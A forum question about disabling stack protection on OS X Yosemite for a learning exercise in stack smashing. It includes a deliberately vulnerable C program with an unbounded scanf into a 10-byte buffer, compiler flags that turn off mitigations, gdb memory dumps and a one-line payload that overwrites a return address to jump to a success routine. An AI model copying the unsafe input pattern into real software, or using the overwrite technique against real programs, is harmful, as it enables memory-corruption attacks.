I'm having trouble figuring out how to disable stack protection on OS X 10.10.5 (Yosemite). I've sort of been cobbling together promising gcc flags from various threads online, but as of yet haven't managed to disable the protection. I am currently compiling my program with:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
But when I try to smash the stack I segfault.
I have tried the same program on Red Hat Enterprise Linux Server 7.2 (Maipo), and after adjusting for memory address differences where appropriate, have had no problems smashing the stack after compiling with:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
It's also probably worth noting that, as on most Macs, gcc on my machine is a symlink to clang (Apple LLVM version 7.0.0 (clang-700.0.72)).
How can I disable Yosemite's stack protection?
Additional Details
The dummy program I'm working with is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
When I run otool -tv program
, I note the following:
The success
routine to which I want to jump is at address 0x00001e70
.
The instruction to which we would normally return after authenticate
is at address 0x00001efe
.
When I run gdb
after entering the dummy password "xxxxxxxxxx" and inspecting the buffer with x/30xb &password
, I observe:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
We want to overwrite the 27th 0xfe
byte to be 0x70
.
When I try to smash the stack as follows:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
I get a segfault.